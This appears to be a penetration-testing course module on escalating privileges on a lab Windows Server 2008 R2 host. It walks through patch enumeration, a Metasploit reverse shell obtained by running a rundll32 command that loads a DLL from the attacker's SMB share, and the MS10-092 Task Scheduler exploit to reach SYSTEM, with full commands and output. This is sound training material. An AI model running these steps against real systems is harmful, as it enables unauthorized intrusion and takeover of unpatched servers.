**Windows Server**

Windows Server 2008/2008 R2 were made end-of-life on January 14, 2020. Over the years, Microsoft has added enhanced security features to subsequent versions of Windows Server. It is not very common to encounter Server 2008 during an external penetration test, but I often encounter it during internal assessments.

**Server 2008 vs. Newer Versions**

The table below shows some notable differences between Server 2008 and the latest Windows Server versions.

| **Feature** | **Server 2008 R2** | **Server 2012 R2** | **Server 2016** | **Server 2019** |
| --- | --- | --- | --- | --- |
| [Enhanced Windows Defender Advanced Threat Protection (ATP)](https://docs.microsoft.com/en-us/mem/configmgr/protect/deploy-use/defender-advanced-threat-protection) |  |  |  | X |
| [Just Enough Administration](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.1) | Partial | Partial | X | X |
| [Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard) |  |  | X | X |
| [Remote Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard) |  |  | X | X |
| [Device Guard (code integrity)](https://techcommunity.microsoft.com/t5/iis-support-blog/windows-10-device-guard-and-credential-guard-demystified/ba-p/376419) |  |  | X | X |
| [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) | Partial | X | X | X |
| [Windows Defender](https://www.microsoft.com/en-us/windows/comprehensive-security) | Partial | Partial | X | X |
| [Control Flow Guard](https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard) |  |  | X | X |

**Server 2008 Case Study**

Often during my assessments, I come across legacy operating system versions, both Windows and Linux. Sometimes these are merely forgotten systems that the client can quickly act on and decommission, while other times, these can be critical systems that can not be easily removed or replaced. Penetration testers need to understand the client's core business and hold discussions during the assessment, especially when dealing with scanning/enumeration and attacking legacy systems, and during the reporting phase. Not every environment is the same, and we must take many factors into account when writing recommendations for findings and assigning risk ratings. For example, medical settings may be running mission-critical software on Windows XP/7 or Windows Server 2003/2008 systems. Without understanding the reasoning "why," it is not good enough to merely tell them to remove the systems from the environment. If they are running costly MRI software that the vendor no longer supports, it could cost large sums of money to transition to new systems. In this case, we would have to look at other mitigating controls the client has in place, such as network segmentation, custom extended support from Microsoft, etc.

If we are assessing a client with the latest and greatest protections and find one Server 2008 host that was missed, then it may be as simple as recommending to upgrade or decommission. This could also be the case in environments subject to stringent audit/regulatory requirements where a legacy system could get them a "failing" or low score on their audit and even hold up or force them to lose government funding.

Let's take a look at a Windows Server 2008 host that we may uncover in a medical setting, large university, or local government office, among others.

For an older OS like Windows Server 2008, we can use an enumeration script like [Sherlock](https://github.com/rasta-mouse/Sherlock) to look for missing patches. We can also use something like [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester), which takes the results of the systeminfo command as an input, and compares the patch level of the host against the Microsoft vulnerability database to detect potential missing patches on the target. If an exploit exists in the Metasploit framework for the given missing patch, the tool will suggest it. Other enumeration scripts can assist us with this, or we can even enumerate the patch level manually and perform our own research. This may be necessary if there are limitations in loading tools on the target host or saving command output.

**Querying Current Patch Level**

Let's first use WMI to check for missing KBs.

Querying Current Patch Level

C:\htb> wmic qfe

Caption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status

http://support.microsoft.com/?kbid=2533552 WINLPE-2K8 Update KB2533552 WINLPE-2K8\Administrator 3/31/2021

A quick Google search of the last installed hotfix shows us that this system is very far out of date.

**Running Sherlock**

Let's run Sherlock to gather more information.

Running Sherlock

PS C:\htb> Set-ExecutionPolicy bypass -Scope process

Execution Policy Change

The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose

you to the security risks described in the about\_Execution\_Policies help topic. Do you want to change the execution

policy?

[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y

PS C:\htb> Import-Module .\Sherlock.ps1

PS C:\htb> Find-AllVulns

Title : User Mode to Ring (KiTrap0D)

MSBulletin : MS10-015

CVEID : 2010-0232

Link : https://www.exploit-db.com/exploits/11199/

VulnStatus : Not supported on 64-bit systems

Title : Task Scheduler .XML

MSBulletin : MS10-092

CVEID : 2010-3338, 2010-3888

Link : https://www.exploit-db.com/exploits/19930/

VulnStatus : Appears Vulnerable

Title : NTUserMessageCall Win32k Kernel Pool Overflow

MSBulletin : MS13-053

CVEID : 2013-1300

Link : https://www.exploit-db.com/exploits/33213/

VulnStatus : Not supported on 64-bit systems

Title : TrackPopupMenuEx Win32k NULL Page

MSBulletin : MS13-081

CVEID : 2013-3881

Link : https://www.exploit-db.com/exploits/31576/

VulnStatus : Not supported on 64-bit systems

Title : TrackPopupMenu Win32k Null Pointer Dereference

MSBulletin : MS14-058

CVEID : 2014-4113

Link : https://www.exploit-db.com/exploits/35101/

VulnStatus : Not Vulnerable

Title : ClientCopyImage Win32k

MSBulletin : MS15-051

CVEID : 2015-1701, 2015-2433

Link : https://www.exploit-db.com/exploits/37367/

VulnStatus : Appears Vulnerable

Title : Font Driver Buffer Overflow

MSBulletin : MS15-078

CVEID : 2015-2426, 2015-2433

Link : https://www.exploit-db.com/exploits/38222/

VulnStatus : Not Vulnerable

Title : 'mrxdav.sys' WebDAV

MSBulletin : MS16-016

CVEID : 2016-0051

Link : https://www.exploit-db.com/exploits/40085/

VulnStatus : Not supported on 64-bit systems

Title : Secondary Logon Handle

MSBulletin : MS16-032

CVEID : 2016-0099

Link : https://www.exploit-db.com/exploits/39719/

VulnStatus : Appears Vulnerable

Title : Windows Kernel-Mode Drivers EoP

MSBulletin : MS16-034

CVEID : 2016-0093/94/95/96

Link : https://github.com/SecWiki/windows-kernel-exploits/thttps://us-cert.cisa.gov/ncas/alerts/aa20-133aree/master/MS16-034?

VulnStatus : Not Vulnerable

Title : Win32k Elevation of Privilege

MSBulletin : MS16-135

CVEID : 2016-7255

Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135

VulnStatus : Not Vulnerable

Title : Nessus Agent 6.6.2 - 6.10.3

MSBulletin : N/A

CVEID : 2017-7199

Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html

VulnStatus : Not Vulnerable

**Obtaining a Meterpreter Shell**

From the output, we can see several missing patches. From here, let's get a Metasploit shell back on the system and attempt to escalate privileges using one of the identified CVEs. First, we need to obtain a Meterpreter reverse shell. We can do this several ways, but one easy way is using the smb\_delivery module.

Obtaining a Meterpreter Shell

msf6 exploit(windows/smb/smb\_delivery) > search smb\_delivery

Matching Modules

================

# Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------

0 exploit/windows/smb/smb\_delivery 2016-07-26 excellent No SMB Delivery

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/smb\_delivery

msf6 exploit(windows/smb/smb\_delivery) > use 0

[\*] Using configured payload windows/meterpreter/reverse\_tcp

msf6 exploit(windows/smb/smb\_delivery) > show options

Module options (exploit/windows/smb/smb\_delivery):

Name Current Setting Required Description

---- --------------- -------- -----------

FILE\_NAME test.dll no DLL file name

FOLDER\_NAME no Folder name to share (Default none)

SHARE no Share (Default Random)

SRVHOST 10.10.14.3 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 445 yes The local port to listen on.

Payload options (windows/meterpreter/reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 10.10.14.3 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

1 PSH

msf6 exploit(windows/smb/smb\_delivery) > show targets

Exploit targets:

Id Name

-- ----

0 DLL

1 PSH

msf6 exploit(windows/smb/smb\_delivery) > set target 0

target => 0

msf6 exploit(windows/smb/smb\_delivery) > exploit

[\*] Exploit running as background job 1.

[\*] Exploit completed, but no session was created.

[\*] Started reverse TCP handler on 10.10.14.3:4444

[\*] Started service listener on 10.10.14.3:445

[\*] Server started.

[\*] Run the following command on the target machine:

rundll32.exe \\10.10.14.3\lEUZam\test.dll,0

**Rundll Command on Target Host**

Open a cmd console on the target host and paste in the rundll32.exe command.

Rundll Command on Target Host

C:\htb> rundll32.exe \\10.10.14.3\lEUZam\test.dll,0

**Receiving Reverse Shell**

We get a call back quickly.

Receiving Reverse Shell

msf6 exploit(windows/smb/smb\_delivery) > [\*] Sending stage (175174 bytes) to 10.129.43.15

[\*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.129.43.15:49609) at 2021-05-12 15:55:05 -0400

**Searching for Local Privilege Escalation Exploit**

From here, let's search for the [MS10\_092 Windows Task Scheduler '.XML' Privilege Escalation](https://www.exploit-db.com/exploits/19930) module.

Searching for Local Privilege Escalation Exploit

msf6 exploit(windows/smb/smb\_delivery) > search 2010-3338

Matching Modules

================

# Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------

0 exploit/windows/local/ms10\_092\_schelevator 2010-09-13 excellent Yes Windows Escalate Task Scheduler XML Privilege Escalation

msf6 exploit(windows/smb/smb\_delivery) use 0

**Migrating to a 64-bit Process**

Before using the module in question, we need to hop into our Meterpreter shell and migrate to a 64-bit process, or the exploit will not work. We could have also chosen an x64 Meterpeter payload during the smb\_delivery step.

Migrating to a 64-bit Process

msf6 post(multi/recon/local\_exploit\_suggester) > sessions -i 1

[\*] Starting interaction with 1...

meterpreter > getpid

Current pid: 2268

meterpreter > ps

Process List

============

PID PPID Name Arch Session User Path

--- ---- ---- ---- ------- ---- ----

0 0 [System Process]

4 0 System

164 1800 VMwareUser.exe x86 2 WINLPE-2K8\htb-student C:\Program Files (x86)\VMware\VMware Tools\VMwareUser.exe

244 2032 winlogon.exe

260 4 smss.exe

288 476 svchost.exe

332 324 csrss.exe

376 324 wininit.exe

476 376 services.exe

492 376 lsass.exe

500 376 lsm.exe

584 476 mscorsvw.exe

600 476 svchost.exe

616 476 msdtc.exe

676 476 svchost.exe

744 476 taskhost.exe x64 2 WINLPE-2K8\htb-student C:\Windows\System32\taskhost.exe

756 1800 VMwareTray.exe x86 2 WINLPE-2K8\htb-student C:\Program Files (x86)\VMware\VMware Tools\VMwareTray.exe

764 476 svchost.exe

800 476 svchost.exe

844 476 svchost.exe

900 476 svchost.exe

940 476 svchost.exe

976 476 spoolsv.exe

1012 476 sppsvc.exe

1048 476 svchost.exe

1112 476 VMwareService.exe

1260 2460 powershell.exe x64 2 WINLPE-2K8\htb-student C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

1408 2632 conhost.exe x64 2 WINLPE-2K8\htb-student C:\Windows\System32\conhost.exe

1464 900 dwm.exe x64 2 WINLPE-2K8\htb-student C:\Windows\System32\dwm.exe

1632 476 svchost.exe

1672 600 WmiPrvSE.exe

2140 2460 cmd.exe x64 2 WINLPE-2K8\htb-student C:\Windows\System32\cmd.exe

2256 600 WmiPrvSE.exe

2264 476 mscorsvw.exe

2268 2628 rundll32.exe x86 2 WINLPE-2K8\htb-student C:\Windows\SysWOW64\rundll32.exe

2460 2656 explorer.exe x64 2 WINLPE-2K8\htb-student C:\Windows\explorer.exe

2632 2032 csrss.exe

2796 2632 conhost.exe x64 2 WINLPE-2K8\htb-student C:\Windows\System32\conhost.exe

2876 476 svchost.exe

3048 476 svchost.exe

meterpreter > migrate 2796

[\*] Migrating from 2268 to 2796...

[\*] Migration completed successfully.

meterpreter > background

[\*] Backgrounding session 1...

**Setting Privilege Escalation Module Options**

Once this is set, we can now set up the privilege escalation module by specifying our current Meterpreter session, setting our tun0 IP for the LHOST, and a call-back port of our choosing.

Setting Privilege Escalation Module Options

msf6 exploit(windows/local/ms10\_092\_schelevator) > set SESSION 1

SESSION => 1

msf6 exploit(windows/local/ms10\_092\_schelevator) > set lhost 10.10.14.3

lhost => 10.10.14.3

msf6 exploit(windows/local/ms10\_092\_schelevator) > set lport 4443

lport => 4443

msf6 exploit(windows/local/ms10\_092\_schelevator) > show options

Module options (exploit/windows/local/ms10\_092\_schelevator):

Name Current Setting Required Description

---- --------------- -------- -----------

CMD no Command to execute instead of a payload

SESSION 1 yes The session to run this module on.

TASKNAME no A name for the created task (default random)

Payload options (windows/meterpreter/reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 10.10.14.3 yes The listen address (an interface may be specified)

LPORT 4443 yes The listen port

Exploit target:

Id Name

-- ----

0 Windows Vista, 7, and 2008

**Receiving Elevated Reverse Shell**

If all goes to plan, once we type exploit, we will receive a new Meterpreter shell as the NT AUTHORITY\SYSTEM account and can move on to perform any necessary post-exploitation.

Receiving Elevated Reverse Shell

msf6 exploit(windows/local/ms10\_092\_schelevator) > exploit

[\*] Started reverse TCP handler on 10.10.14.3:4443

[\*] Preparing payload at C:\Windows\TEMP\uQEcovJYYHhC.exe

[\*] Creating task: isqR4gw3RlxnplB

[\*] SUCCESS: The scheduled task "isqR4gw3RlxnplB" has successfully been created.

[\*] SCHELEVATOR

[\*] Reading the task file contents from C:\Windows\system32\tasks\isqR4gw3RlxnplB...

[\*] Original CRC32: 0x89b06d1a

[\*] Final CRC32: 0x89b06d1a

[\*] Writing our modified content back...

[\*] Validating task: isqR4gw3RlxnplB

[\*]

[\*] Folder: \

[\*] TaskName Next Run Time Status

[\*] ======================================== ====================== ===============

[\*] isqR4gw3RlxnplB 6/1/2021 1:04:00 PM Ready

[\*] SCHELEVATOR

[\*] Disabling the task...

[\*] SUCCESS: The parameters of scheduled task "isqR4gw3RlxnplB" have been changed.

[\*] SCHELEVATOR

[\*] Enabling the task...

[\*] SUCCESS: The parameters of scheduled task "isqR4gw3RlxnplB" have been changed.

[\*] SCHELEVATOR

[\*] Executing the task...

[\*] Sending stage (175174 bytes) to 10.129.43.15

[\*] SUCCESS: Attempted to run the scheduled task "isqR4gw3RlxnplB".

[\*] SCHELEVATOR

[\*] Deleting the task...

[\*] Meterpreter session 2 opened (10.10.14.3:4443 -> 10.129.43.15:49634) at 2021-05-12 16:04:34 -0400

[\*] SUCCESS: The scheduled task "isqR4gw3RlxnplB" was successfully deleted.

[\*] SCHELEVATOR

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer : WINLPE-2K8

OS : Windows 2008 R2 (6.1 Build 7600).

Architecture : x64

System Language : en\_US

Domain : WORKGROUP

Logged On Users : 3

Meterpreter : x86/windows

**Attacking Server 2008**

Taking the enumeration examples we have gone through in this module, access the system below, find one way to escalate to NT AUTHORITY\SYSTEM level access (there may be more than one way), and submit the flag.txt file on the Administrator desktop. Challenge yourself to escalate privileges multiple ways and don't merely reproduce the Task Scheduler privilege escalation detailed above.